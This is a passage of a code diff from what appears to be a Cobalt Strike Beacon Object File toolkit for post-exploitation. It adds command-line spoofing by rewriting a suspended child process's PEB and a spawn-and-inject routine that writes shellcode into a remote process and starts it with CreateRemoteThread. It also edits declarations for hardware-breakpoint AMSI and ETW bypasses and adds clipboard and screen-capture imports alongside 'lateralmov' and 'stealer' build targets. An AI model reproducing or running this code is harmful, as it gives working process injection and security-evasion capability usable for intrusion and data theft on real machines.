|
||||
if ( ! DuplicateHandle( nt_current_process(), pipe_write, parent_handle, &pipe_duplicate, 0, TRUE, DUPLICATE_SAME_ACCESS ) ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Failed to duplicate pipe handle, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to duplicate pipe handle: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
DbgPrint( "[kh_process_creation] Duplicated pipe handle=%p\n", pipe_duplicate );
|
||||
|
||||
CloseHandle( pipe_write );
|
||||
pipe_write = pipe_duplicate;
|
||||
DbgPrint( "[kh_process_creation] Replaced pipe_write with duplicated handle\n" );
|
||||
}
|
||||
|
||||
if ( use_extended_info ) {
|
||||
@@ -314,21 +281,16 @@ extern "C" auto kh_process_creation(
|
||||
startup_info_ex.StartupInfo.hStdError = pipe_write;
|
||||
startup_info_ex.StartupInfo.hStdOutput = pipe_write;
|
||||
startup_info_ex.StartupInfo.hStdInput = GetStdHandle( STD_INPUT_HANDLE );
|
||||
DbgPrint( "[kh_process_creation] Configured extended startup info with pipe handles\n" );
|
||||
} else {
|
||||
startup_info.dwFlags |= STARTF_USESTDHANDLES;
|
||||
startup_info.hStdError = pipe_write;
|
||||
startup_info.hStdOutput = pipe_write;
|
||||
startup_info.hStdInput = GetStdHandle( STD_INPUT_HANDLE );
|
||||
DbgPrint( "[kh_process_creation] Configured standard startup info with pipe handles\n" );
|
||||
}
|
||||
}
|
||||
|
||||
DbgPrint( "[kh_process_creation] Creating process with method=%d\n", create_args->method );
|
||||
|
||||
switch ( create_args->method ) {
|
||||
case Create::Default: {
|
||||
DbgPrint( "[kh_process_creation] Calling CreateProcessW\n" );
|
||||
success = CreateProcessW(
|
||||
nullptr, process_cmdline, nullptr, nullptr, TRUE, process_flags,
|
||||
nullptr, nullptr, &startup_info_ex.StartupInfo, &process_info
|
||||
@@ -337,26 +299,22 @@ extern "C" auto kh_process_creation(
|
||||
}
|
||||
|
||||
case Create::WithLogon: {
|
||||
DbgPrint( "[kh_process_creation] Calling CreateProcessWithLogonW (user=%ls, domain=%ls)\n",
|
||||
create_args->username, create_args->domain );
|
||||
success = CreateProcessWithLogonW(
|
||||
create_args->username, create_args->domain, create_args->password, LOGON_WITH_PROFILE,
|
||||
nullptr, process_cmdline, CREATE_NO_WINDOW, nullptr, nullptr, &startup_info, &process_info
|
||||
nullptr, process_cmdline, process_flags, nullptr, nullptr, &startup_info, &process_info
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
case Create::WithToken: {
|
||||
DbgPrint( "[kh_process_creation] Calling CreateProcessWithTokenW (token=%p)\n", create_args->token );
|
||||
success = CreateProcessWithTokenW(
|
||||
create_args->token, LOGON_WITH_PROFILE, nullptr, process_cmdline,
|
||||
CREATE_NO_WINDOW, nullptr, nullptr, &startup_info, &process_info
|
||||
process_flags, nullptr, nullptr, &startup_info, &process_info
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
DbgPrint( "[kh_process_creation] ERROR: Unknown creation method=%d\n", create_args->method );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Unknown process creation method: %d", create_args->method );
|
||||
return cleanup( STATUS_INVALID_PARAMETER );
|
||||
}
|
||||
@@ -364,54 +322,92 @@ extern "C" auto kh_process_creation(
|
||||
|
||||
if ( ! success ) {
|
||||
error_code = GetLastError();
|
||||
DbgPrint( "[kh_process_creation] ERROR: Process creation failed, error=%d\n", error_code );
|
||||
BeaconPrintf( CALLBACK_ERROR, "Failed to create process with error: (%d) %ls", error_code, fmt_error( error_code ) );
|
||||
return cleanup( error_code );
|
||||
}
|
||||
|
||||
DbgPrint( "[kh_process_creation] Process created successfully: PID=%d, TID=%d, hProcess=%p, hThread=%p\n",
|
||||
process_info.dwProcessId, process_info.dwThreadId,
|
||||
process_info.hProcess, process_info.hThread );
|
||||
if ( create_args->spoofarg && ! spawnto ) {
|
||||
ULONG retp;
|
||||
NTSTATUS qip_status = NtQueryInformationProcess( process_info.hProcess, ProcessBasicInformation, &process_basic_info, sizeof(process_basic_info), &retp );
|
||||
|
||||
if ( ! nt_success( qip_status ) ) {
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
if ( ! ReadProcessMemory( process_info.hProcess, process_basic_info.PebBaseAddress, &process_peb, sizeof(process_peb), nullptr ) ) {
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
if ( ! ReadProcessMemory( process_info.hProcess, process_peb.ProcessParameters, &process_peb_params, sizeof(process_peb_params), nullptr ) ) {
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
WCHAR debug_current_cmdline[512] = {0};
|
||||
SIZE_T debug_read_size = MIN( process_peb_params.CommandLine.Length, (USHORT)(sizeof(debug_current_cmdline) - 2) );
|
||||
ReadProcessMemory( process_info.hProcess, process_peb_params.CommandLine.Buffer, debug_current_cmdline, debug_read_size, nullptr );
|
||||
|
||||
SIZE_T new_len = wcslen(create_args->argument) * sizeof(WCHAR);
|
||||
SIZE_T max_len = process_peb_params.CommandLine.MaximumLength;
|
||||
|
||||
if ( new_len > max_len ) {
|
||||
return cleanup( ERROR_INSUFFICIENT_BUFFER );
|
||||
}
|
||||
|
||||
if ( ! WriteProcessMemory( process_info.hProcess, process_peb_params.CommandLine.Buffer, create_args->argument, new_len, nullptr ) ) {
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
SIZE_T remaining = max_len - new_len;
|
||||
if ( remaining > 0 ) {
|
||||
PBYTE zero_start = (PBYTE)process_peb_params.CommandLine.Buffer + new_len;
|
||||
auto zero_buf = (PBYTE)calloc(1, remaining);
|
||||
if ( zero_buf ) {
|
||||
if ( ! WriteProcessMemory( process_info.hProcess, zero_start, zero_buf, remaining, nullptr ) ) {
|
||||
}
|
||||
free( zero_buf );
|
||||
}
|
||||
}
|
||||
|
||||
USHORT new_len_ushort = (USHORT)new_len;
|
||||
PVOID length_addr = (PBYTE)process_peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);
|
||||
|
||||
if ( ! WriteProcessMemory( process_info.hProcess, length_addr, &new_len_ushort, sizeof(USHORT), nullptr ) ) {
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
WCHAR debug_verify_cmdline[512] = {0};
|
||||
ReadProcessMemory( process_info.hProcess, process_peb_params.CommandLine.Buffer, debug_verify_cmdline, new_len, nullptr );
|
||||
|
||||
DWORD resume_result = ResumeThread( process_info.hThread );
|
||||
}
|
||||
|
||||
if ( pipe_write ) {
|
||||
CloseHandle( pipe_write );
|
||||
pipe_write = nullptr;
|
||||
DbgPrint( "[kh_process_creation] Closed pipe_write after process creation\n" );
|
||||
}
|
||||
|
||||
if ( create_args->pipe && pipe_read ) {
|
||||
DbgPrint( "[kh_process_creation] Reading pipe output\n" );
|
||||
|
||||
if ( create_args->pipe && pipe_read ) {
|
||||
PBYTE pipe_output = nullptr;
|
||||
ULONG pipe_length = 0;
|
||||
|
||||
NTSTATUS read_status = read_pipe_output( pipe_read, process_info.hProcess, &pipe_output, &pipe_length );
|
||||
|
||||
if ( nt_success(read_status) && pipe_output && pipe_length > 0 ) {
|
||||
DbgPrint( "[kh_process_creation] Successfully read %d bytes from pipe\n", pipe_length );
|
||||
|
||||
if ( nt_success(read_status) && pipe_output && pipe_length > 0 ) {
|
||||
if ( output_ptr && output_len ) {
|
||||
*output_ptr = pipe_output;
|
||||
*output_len = pipe_length;
|
||||
DbgPrint( "[kh_process_creation] Output assigned to caller\n" );
|
||||
} else {
|
||||
free( pipe_output );
|
||||
DbgPrint( "[kh_process_creation] Freed pipe output (no output buffer provided)\n" );
|
||||
}
|
||||
} else {
|
||||
DbgPrint( "[kh_process_creation] Failed to read pipe output, status=%08X\n", read_status );
|
||||
}
|
||||
}
|
||||
|
||||
if ( ps_information ) {
|
||||
*ps_information = process_info;
|
||||
DbgPrint( "[kh_process_creation] Process information returned to caller\n" );
|
||||
} else {
|
||||
if ( process_info.hProcess ) CloseHandle( process_info.hProcess );
|
||||
if ( process_info.hThread ) CloseHandle( process_info.hThread );
|
||||
DbgPrint( "[kh_process_creation] Closed process/thread handles (no ps_information buffer)\n" );
|
||||
}
|
||||
|
||||
DbgPrint( "[kh_process_creation] Function exit with STATUS_SUCCESS\n" );
|
||||
return cleanup( STATUS_SUCCESS );
|
||||
}
|
||||
@@ -6,18 +6,38 @@
|
||||
auto SpawnInjection(
|
||||
_In_ PBYTE ShellcodeBuff,
|
||||
_In_ ULONG ShellcodeSize,
|
||||
_In_ PBYTE InjectArg,
|
||||
_In_ PS_CREATE_ARGS* CreateArgs
|
||||
_In_ PBYTE InjectArg
|
||||
) -> NTSTATUS {
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
PROCESS_INFORMATION process_info = { 0 };
|
||||
|
||||
PS_CREATE_ARGS* create_args = CreateArgs;
|
||||
PS_CREATE_ARGS* create_args = (PS_CREATE_ARGS*)malloc( sizeof(PS_CREATE_ARGS) );
|
||||
BEACON_INFO* info = (BEACON_INFO*)malloc( sizeof(BEACON_INFO) );
|
||||
|
||||
BeaconInformation( info );
|
||||
|
||||
if ( ! BeaconHeapCheckPtr( info->Config->Postex.Spawnto ) ) {
|
||||
PVOID spawnto = BeaconHeapAlloc( wcslen( info->Config->Postex.Spawnto ) * sizeof(WCHAR) + sizeof(WCHAR) );
|
||||
memcpy( spawnto, info->Config->Postex.Spawnto, wcslen( info->Config->Postex.Spawnto ) * sizeof(WCHAR) + sizeof(WCHAR) );
|
||||
info->Config->Postex.Spawnto = (WCHAR*)spawnto;
|
||||
}
|
||||
|
||||
create_args->pipe = FALSE;
|
||||
create_args->method = Create::Default;
|
||||
create_args->argument = info->Config->Postex.Spawnto;
|
||||
create_args->state = CREATE_SUSPENDED;
|
||||
|
||||
auto cleanup = [&]( ERROR_CODE code ) {
|
||||
if ( create_args ) free( create_args );
|
||||
if ( info ) free( info );
|
||||
|
||||
return code;
|
||||
};
|
||||
|
||||
status = kh_process_creation( create_args, &process_info );
|
||||
if ( ! nt_success( status ) ) {
|
||||
BeaconPrintfW( CALLBACK_ERROR, L"Process creation failure with error: (%d) %s", status, fmt_error( status ) );
|
||||
return status;
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
HANDLE process_handle = nullptr;
|
||||
@@ -25,29 +45,33 @@ auto SpawnInjection(
|
||||
|
||||
process_handle = process_info.hProcess;
|
||||
|
||||
BeaconPrintfW( CALLBACK_OUTPUT, L"Spawned process with pid %d and tid %d", process_info.dwProcessId, process_info.dwThreadId );
|
||||
BeaconPrintfW( CALLBACK_INFO, L"Spawned process with pid %d and tid %d", process_info.dwProcessId, process_info.dwThreadId );
|
||||
|
||||
PVOID shellcode_ptr = VirtualAllocEx( process_handle, nullptr, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE );
|
||||
if ( ! shellcode_ptr ) {
|
||||
BeaconPrintfW( CALLBACK_ERROR, L"Allocation memory to shellcode failed with error: (%d) %s", GetLastError(), fmt_error( GetLastError() ) );
|
||||
return status;
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
SIZE_T bytes_written = 0;
|
||||
if ( ! WriteProcessMemory( process_handle, shellcode_ptr, ShellcodeBuff, ShellcodeSize, &bytes_written ) ) {
|
||||
BeaconPrintfW( CALLBACK_ERROR, L"Write shellcode failed with error: (%d) %s", GetLastError(), fmt_error( GetLastError() ) );
|
||||
return status;
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
ULONG old_protection = 0;
|
||||
if ( ! VirtualProtectEx( process_handle, shellcode_ptr, ShellcodeSize, PAGE_EXECUTE_READ, &old_protection ) ) {
|
||||
BeaconPrintfW( CALLBACK_ERROR, L"Change protection to RX failed with error: (%d) %s", GetLastError(), fmt_error( GetLastError() ) );
|
||||
return status;
|
||||
return cleanup( GetLastError() );
|
||||
}
|
||||
|
||||
ULONG thread_id = 0;
|
||||
if ( ! CreateRemoteThread( process_handle, nullptr, 0, (LPTHREAD_START_ROUTINE)shellcode_ptr, nullptr, 0, &thread_id ) ) {
|
||||
BeaconPrintfW( CALLBACK_ERROR, L"Create thread to execute shellcode failed with error: (%d) %s", GetLastError(), fmt_error( GetLastError() ) );
|
||||
return status;
|
||||
}
|
||||
}
|
||||
ULONG thread_id = 0;
|
||||
HANDLE thread_handle = nullptr;
|
||||
|
||||
thread_handle = CreateRemoteThread( process_handle, nullptr, 0, (LPTHREAD_START_ROUTINE)shellcode_ptr, nullptr, 0, &thread_id );
|
||||
|
||||
process_info.dwThreadId = thread_id;
|
||||
process_info.hThread = thread_handle;
|
||||
|
||||
return cleanup( ERROR_SUCCESS );
|
||||
}
|
||||
|
||||
@@ -25,7 +25,6 @@ extern "C" auto go( char* args, int argc ) -> void {
|
||||
|
||||
create_args.method = process_method;
|
||||
create_args.argument = process_argument;
|
||||
create_args.state = process_state;
|
||||
create_args.pipe = process_pipe;
|
||||
|
||||
create_args.domain = process_domain;
|
||||
@@ -35,7 +34,11 @@ extern "C" auto go( char* args, int argc ) -> void {
|
||||
PBYTE output_ptr = nullptr;
|
||||
ULONG output_len = 0;
|
||||
|
||||
kh_process_creation( &create_args, &ps_information, &output_ptr, &output_len );
|
||||
if ( process_state ) {
|
||||
create_args.state = CREATE_SUSPENDED;
|
||||
}
|
||||
|
||||
kh_process_creation( &create_args, &ps_information, &output_ptr, &output_len, FALSE );
|
||||
|
||||
if ( ps_information.dwProcessId && ps_information.dwThreadId ) {
|
||||
BeaconPkgInt32( ps_information.dwProcessId );
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include <general.h>
|
||||
#include <dotnet.h>
|
||||
|
||||
auto Dotnet::VersionList( VOID ) -> VOID {
|
||||
auto VersionList( VOID ) -> VOID {
|
||||
HRESULT HResult = S_OK;
|
||||
|
||||
WCHAR FmVersion[MAX_PATH] = { 0 };
|
||||
@@ -52,5 +52,5 @@ _BOF_END:
|
||||
}
|
||||
|
||||
EXTERN_C auto go( CHAR* Args, INT32 Argc ) -> VOID {
|
||||
return Dotnet::VersionList();
|
||||
return VersionList();
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
#ifndef DOTNET_H
|
||||
#define DOTNET_H
|
||||
|
||||
#include <clr.h>
|
||||
#include <clr.hpp>
|
||||
|
||||
#define PIPE_BUFFER_LENGTH 0x10000
|
||||
|
||||
namespace mscorlib {
|
||||
#include <mscoree.h>
|
||||
#include <mscoree.hpp>
|
||||
}
|
||||
|
||||
typedef mscorlib::_PropertyInfo IPropertyInfo;
|
||||
@@ -16,148 +16,6 @@ typedef mscorlib::_Type IType;
|
||||
typedef mscorlib::_MethodInfo IMethodInfo;
|
||||
typedef mscorlib::BindingFlags IBindingFlags;
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
namespace Write {
|
||||
enum Type {
|
||||
Default,
|
||||
Apc
|
||||
};
|
||||
}
|
||||
|
||||
namespace Alloc {
|
||||
enum Type {
|
||||
Default,
|
||||
Drip
|
||||
};
|
||||
}
|
||||
|
||||
#define HW_ALL_THREADS 0x25
|
||||
|
||||
enum Dr {
|
||||
x0,
|
||||
x1,
|
||||
x2,
|
||||
x3
|
||||
};
|
||||
|
||||
typedef struct _DESCRIPTOR_HOOK {
|
||||
ULONG ThreadID;
|
||||
HANDLE Handle;
|
||||
BOOL Processed;
|
||||
INT8 Drx;
|
||||
UPTR Address;
|
||||
VOID ( *Detour )( PCONTEXT );
|
||||
struct _DESCRIPTOR_HOOK* Next;
|
||||
struct _DESCRIPTOR_HOOK* Prev;
|
||||
} DESCRIPTOR_HOOK, *PDESCRIPTOR_HOOK;
|
||||
|
||||
#define CONTINUE_EXEC( Ctx )( Ctx->EFlags = Ctx->EFlags | ( 1 << 16 ) )
|
||||
|
||||
#ifdef _WIN64
|
||||
#define SET_RET( Ctx, Val )( (UPTR)( Ctx->Rax = (UPTR)( Val ) ) )
|
||||
#elif _WIN32
|
||||
#define SET_RET( Ctx, Val )( (UPTR)( Ctx->Eax = (UPTR)( Val ) ) )
|
||||
#endif
|
||||
|
||||
#define KH_BYPASS_NONE 0x000
|
||||
#define KH_BYPASS_ALL 0x100
|
||||
#define KH_BYPASS_ETW 0x400
|
||||
#define KH_BYPASS_AMSI 0x700
|
||||
|
||||
namespace Hwbp {
|
||||
struct {
|
||||
UPTR NtTraceEvent;
|
||||
} Etw;
|
||||
|
||||
struct {
|
||||
UPTR Handle;
|
||||
UPTR AmsiScanBuffer;
|
||||
} Amsi;
|
||||
|
||||
UPTR ExitPtr;
|
||||
|
||||
auto PatchExitDetour( PCONTEXT Ctx ) -> VOID;
|
||||
|
||||
auto SetDr7(
|
||||
_In_ UPTR ActVal,
|
||||
_In_ UPTR NewVal,
|
||||
_In_ INT StartPos,
|
||||
_In_ INT BitsCount
|
||||
) -> UPTR;
|
||||
|
||||
auto Install(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ PVOID Callback,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto Uninstall(
|
||||
_In_ UPTR Address,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto SetBreak(
|
||||
_In_ ULONG ThreadID,
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ BOOL Init
|
||||
) -> BOOL;
|
||||
|
||||
auto Insert(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ BOOL Init,
|
||||
_In_ ULONG ThreadID
|
||||
) -> BOOL;
|
||||
|
||||
auto Init( VOID ) -> BOOL;
|
||||
auto Clean( VOID ) -> BOOL;
|
||||
auto DotnetInit( VOID ) -> BOOL;
|
||||
auto DotnetExit( VOID ) -> BOOL;
|
||||
|
||||
auto SetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ UPTR Val,
|
||||
_In_ ULONG Idx
|
||||
) -> VOID;
|
||||
|
||||
auto GetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ ULONG Idx
|
||||
) -> UPTR;
|
||||
|
||||
auto MainHandler(
|
||||
_In_ PEXCEPTION_POINTERS e
|
||||
) -> LONG;
|
||||
|
||||
auto HookCallback(
|
||||
_In_ PVOID Parameter,
|
||||
_In_ BOOL TimerWait
|
||||
) -> VOID;
|
||||
|
||||
auto EtwDetour(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
|
||||
auto AmsiDetour(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
|
||||
auto AddNewThreads(
|
||||
_In_ INT8 Drx
|
||||
) -> BOOL;
|
||||
|
||||
auto RmNewThreads(
|
||||
_In_ INT8 Drx
|
||||
) -> BOOL;
|
||||
|
||||
auto NtCreateThreadExHk(
|
||||
_In_ PCONTEXT Ctx
|
||||
) -> VOID;
|
||||
}
|
||||
|
||||
struct {
|
||||
GUID CLRMetaHost;
|
||||
GUID CorRuntimeHost;
|
||||
@@ -184,53 +42,4 @@ struct {
|
||||
.IDispatch = { 0x00020400, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }
|
||||
};
|
||||
|
||||
namespace Dotnet {
|
||||
BOOL ExitBypass = FALSE;
|
||||
ULONG Bypass = KH_BYPASS_NONE;
|
||||
UPTR ExitPtr = 0;
|
||||
|
||||
auto VersionList( VOID ) -> VOID;
|
||||
|
||||
auto Inline(
|
||||
_In_ BYTE* AsmBytes,
|
||||
_In_ ULONG AsmLength,
|
||||
_In_ WCHAR* Arguments,
|
||||
_In_ WCHAR* AppDomName,
|
||||
_In_ WCHAR* Version,
|
||||
_In_ BOOL KeepLoad
|
||||
) -> BOOL;
|
||||
|
||||
auto CreateVariantCmd(
|
||||
WCHAR* Command
|
||||
) -> VARIANT;
|
||||
|
||||
auto CreateSafeArray(
|
||||
VARIANT* Args,
|
||||
UINT Argc
|
||||
) -> SAFEARRAY*;
|
||||
|
||||
auto GetMethodType(
|
||||
IBindingFlags Flags,
|
||||
IType* MType,
|
||||
BSTR MethodInp,
|
||||
IMethodInfo** MethodReff
|
||||
) -> HRESULT;
|
||||
|
||||
auto Pwsh(
|
||||
_In_ WCHAR* Command,
|
||||
_In_opt_ WCHAR* Script
|
||||
) -> HRESULT;
|
||||
|
||||
auto GetAssemblyLoaded(
|
||||
_In_ IAppDomain* AppDomain,
|
||||
_In_ WCHAR* AsmName1,
|
||||
_In_ GUID AsmIID,
|
||||
_Out_ IAssembly** Assembly
|
||||
) -> HRESULT;
|
||||
|
||||
auto PatchExit(
|
||||
_In_ ICorRuntimeHost* IRuntime
|
||||
) -> PVOID;
|
||||
}
|
||||
|
||||
#endif // DOTNET_H
|
||||
@@ -38,10 +38,15 @@ extern "C" {
|
||||
DFR(KERNEL32, VirtualAllocEx)
|
||||
DFR(KERNEL32, VirtualProtect)
|
||||
DFR(KERNEL32, VirtualProtectEx)
|
||||
DFR(KERNEL32, VirtualQuery)
|
||||
DFR(KERNEL32, VirtualQueryEx)
|
||||
DFR(KERNEL32, WriteProcessMemory)
|
||||
DFR(KERNEL32, ReadProcessMemory)
|
||||
DFR(KERNEL32, LoadLibraryW)
|
||||
|
||||
DFR(KERNEL32, CreateEventW)
|
||||
DFR(KERNEL32, SetEvent)
|
||||
|
||||
DFR(KERNEL32, OpenProcess)
|
||||
DFR(KERNEL32, GetCurrentProcess)
|
||||
DFR(KERNEL32, CreateProcessW)
|
||||
@@ -55,6 +60,9 @@ extern "C" {
|
||||
DFR(KERNEL32, GetModuleFileNameW)
|
||||
DFR(KERNEL32, K32GetModuleFileNameExA)
|
||||
|
||||
DFR(KERNEL32, GlobalLock)
|
||||
DFR(KERNEL32, GlobalUnlock)
|
||||
|
||||
DFR(KERNEL32, CreateThread)
|
||||
DFR(KERNEL32, CreateRemoteThread)
|
||||
|
||||
@@ -141,10 +149,12 @@ extern "C" {
|
||||
DFR(MSVCRT, free)
|
||||
DFR(MSVCRT, memset)
|
||||
DFR(MSVCRT, memcpy)
|
||||
DFR(MSVCRT, memcmp)
|
||||
DFR(MSVCRT, wcslen)
|
||||
DFR(MSVCRT, wcsncpy)
|
||||
DFR(MSVCRT, strlen)
|
||||
DFR(MSVCRT, sprintf)
|
||||
DFR(MSVCRT, wcsstr)
|
||||
DFR(MSVCRT, wcsrchr)
|
||||
DFR(MSVCRT, _swprintf)
|
||||
DFR(MSVCRT, wcscpy)
|
||||
@@ -168,6 +178,7 @@ extern "C" {
|
||||
// ==================== OLE32 ====================
|
||||
DFR(OLE32, CoInitializeSecurity)
|
||||
DFR(OLE32, CoCreateInstance)
|
||||
DFR(OLE32, StringFromGUID2)
|
||||
DFR(OLE32, CoInitializeEx)
|
||||
DFR(OLE32, CoUninitialize)
|
||||
DFR(OLE32, CLSIDFromString)
|
||||
@@ -182,6 +193,10 @@ extern "C" {
|
||||
|
||||
// ==================== USER32 ====================
|
||||
DFR(USER32, GetDC)
|
||||
DFR(USER32, ReleaseDC)
|
||||
DFR(USER32, OpenClipboard)
|
||||
DFR(USER32, GetClipboardData)
|
||||
DFR(USER32, CloseClipboard)
|
||||
DFR(USER32, GetSystemMetrics)
|
||||
|
||||
// ==================== GDI32 ====================
|
||||
@@ -190,7 +205,10 @@ extern "C" {
|
||||
DFR(GDI32, CreateDIBSection)
|
||||
DFR(GDI32, CreateCompatibleDC)
|
||||
DFR(GDI32, GetObjectW)
|
||||
DFR(GDI32, GdiFlush)
|
||||
DFR(GDI32, GetCurrentObject)
|
||||
DFR(GDI32, DeleteDC)
|
||||
DFR(GDI32, DeleteObject)
|
||||
|
||||
// ==================== WSMSVC ====================
|
||||
DFR(WSMSVC, WSManInitialize)
|
||||
@@ -222,6 +240,12 @@ extern "C" {
|
||||
#define WriteProcessMemory KERNEL32$WriteProcessMemory
|
||||
#define LoadLibraryW KERNEL32$LoadLibraryW
|
||||
|
||||
#define VirtualQuery KERNEL32$VirtualQuery
|
||||
#define VirtualQueryEx KERNEL32$VirtualQueryEx
|
||||
|
||||
#define CreateEventW KERNEL32$CreateEventW
|
||||
#define SetEvent KERNEL32$SetEvent
|
||||
|
||||
#define OpenProcess KERNEL32$OpenProcess
|
||||
#define GetCurrentProcess KERNEL32$GetCurrentProcess
|
||||
#define CreateProcessW KERNEL32$CreateProcessW
|
||||
@@ -251,6 +275,9 @@ extern "C" {
|
||||
#define EnterCriticalSection KERNEL32$EnterCriticalSection
|
||||
#define LeaveCriticalSection KERNEL32$LeaveCriticalSection
|
||||
|
||||
#define GlobalLock KERNEL32$GlobalLock
|
||||
#define GlobalUnlock KERNEL32$GlobalUnlock
|
||||
|
||||
#define FileTimeToSystemTime KERNEL32$FileTimeToSystemTime
|
||||
#define CreatePipe KERNEL32$CreatePipe
|
||||
#define DuplicateHandle KERNEL32$DuplicateHandle
|
||||
@@ -319,6 +346,7 @@ extern "C" {
|
||||
#define realloc MSVCRT$realloc
|
||||
#define free MSVCRT$free
|
||||
#define memset MSVCRT$memset
|
||||
#define memcmp MSVCRT$memcmp
|
||||
#define memcpy MSVCRT$memcpy
|
||||
#define wcslen MSVCRT$wcslen
|
||||
#define wcsncpy MSVCRT$wcsncpy
|
||||
@@ -326,6 +354,7 @@ extern "C" {
|
||||
#define strlen MSVCRT$strlen
|
||||
#define sprintf MSVCRT$sprintf
|
||||
#define _swprintf MSVCRT$_swprintf
|
||||
#define wcsstr MSVCRT$wcsstr
|
||||
#define wcscpy MSVCRT$wcscpy
|
||||
#define wcscat MSVCRT$wcscat
|
||||
#define wcscmp MSVCRT$wcscmp
|
||||
@@ -348,6 +377,7 @@ extern "C" {
|
||||
// ==================== OLE32 MACROS ====================
|
||||
#define CoCreateInstance OLE32$CoCreateInstance
|
||||
#define CoInitializeSecurity OLE32$CoInitializeSecurity
|
||||
#define StringFromGUID2 OLE32$StringFromGUID2
|
||||
#define CoInitializeEx OLE32$CoInitializeEx
|
||||
#define CoUninitialize OLE32$CoUninitialize
|
||||
#define CLSIDFromString OLE32$CLSIDFromString
|
||||
@@ -362,12 +392,19 @@ extern "C" {
|
||||
|
||||
// ==================== USER32 MACROS ====================
|
||||
#define GetDC USER32$GetDC
|
||||
#define ReleaseDC USER32$ReleaseDC
|
||||
#define GetSystemMetrics USER32$GetSystemMetrics
|
||||
#define OpenClipboard USER32$OpenClipboard
|
||||
#define GetClipboardData USER32$GetClipboardData
|
||||
#define CloseClipboard USER32$CloseClipboard
|
||||
|
||||
// ==================== GDI32 MACROS ====================
|
||||
#define BitBlt GDI32$BitBlt
|
||||
#define SelectObject GDI32$SelectObject
|
||||
#define DeleteDC GDI32$DeleteDC
|
||||
#define DeleteObject GDI32$DeleteObject
|
||||
#define CreateDIBSection GDI32$CreateDIBSection
|
||||
#define GdiFlush GDI32$GdiFlush
|
||||
#define CreateCompatibleDC GDI32$CreateCompatibleDC
|
||||
#define GetObjectW GDI32$GetObjectW
|
||||
#define GetCurrentObject GDI32$GetCurrentObject
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include <Externs.hpp>
|
||||
#include <general.h>
|
||||
|
||||
size_t my_wcslen(const WCHAR* str) {
|
||||
const WCHAR* s = str;
|
||||
@@ -50,7 +50,7 @@ HRESULT InvokeMethod(IDispatch* pDisp, LPCOLESTR methodName, VARIANT* pResult, V
|
||||
|
||||
EXTERN_C
|
||||
void go( CHAR* Args, int Argc ) {
|
||||
Data Parser = { 0 };
|
||||
datap Parser = { 0 };
|
||||
|
||||
BeaconDataParse( &Parser, Args, Argc );
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include <externs.h>
|
||||
#include <general.h>
|
||||
|
||||
auto WriteBin(
|
||||
_In_ BYTE* BinBuff,
|
||||
@@ -55,7 +55,7 @@ auto RmtSvcCreate(
|
||||
|
||||
EXTERN_C
|
||||
auto go(PCHAR Args, INT Argc) -> void {
|
||||
Data Parser = { 0 };
|
||||
datap Parser = { 0 };
|
||||
|
||||
BeaconDataParse( &Parser, Args, Argc );
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include <externs.h>
|
||||
#include <general.h>
|
||||
|
||||
typedef struct {
|
||||
HANDLE Event;
|
||||
@@ -112,7 +112,7 @@ auto ReceiveCallback(
|
||||
|
||||
EXTERN_C
|
||||
void go(char* args, int argc) {
|
||||
Data DataPsr = { 0 };
|
||||
datap DataPsr = { 0 };
|
||||
|
||||
BeaconDataParse( &DataPsr, args, argc );
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include <externs.h>
|
||||
#include <general.h>
|
||||
|
||||
auto CreateCreds(
|
||||
COAUTHINFO*& AuthInfo,
|
||||
@@ -51,7 +51,7 @@ auto CreateCreds(
|
||||
|
||||
EXTERN_C
|
||||
void go(CHAR* buff, INT32 len) {
|
||||
Data Parser = { 0 };
|
||||
datap Parser = { 0 };
|
||||
|
||||
WCHAR* Target = nullptr;
|
||||
WCHAR* Domain = nullptr;
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
CC = x86_64-w64-mingw32-g++
|
||||
CFLAGS = -c -Os -w -fno-exceptions -fno-rtti -mno-stack-arg-probe -fpermissive
|
||||
INCFLAGS = -I include
|
||||
|
||||
DIST_DIR = dist
|
||||
|
||||
ALL_SRCS := $(shell find active_script az dotnet_list lateralmov stealer -name '*.cc')
|
||||
OBJS := $(addprefix $(DIST_DIR)/,$(notdir $(ALL_SRCS:.cc=.x64.o)))
|
||||
|
||||
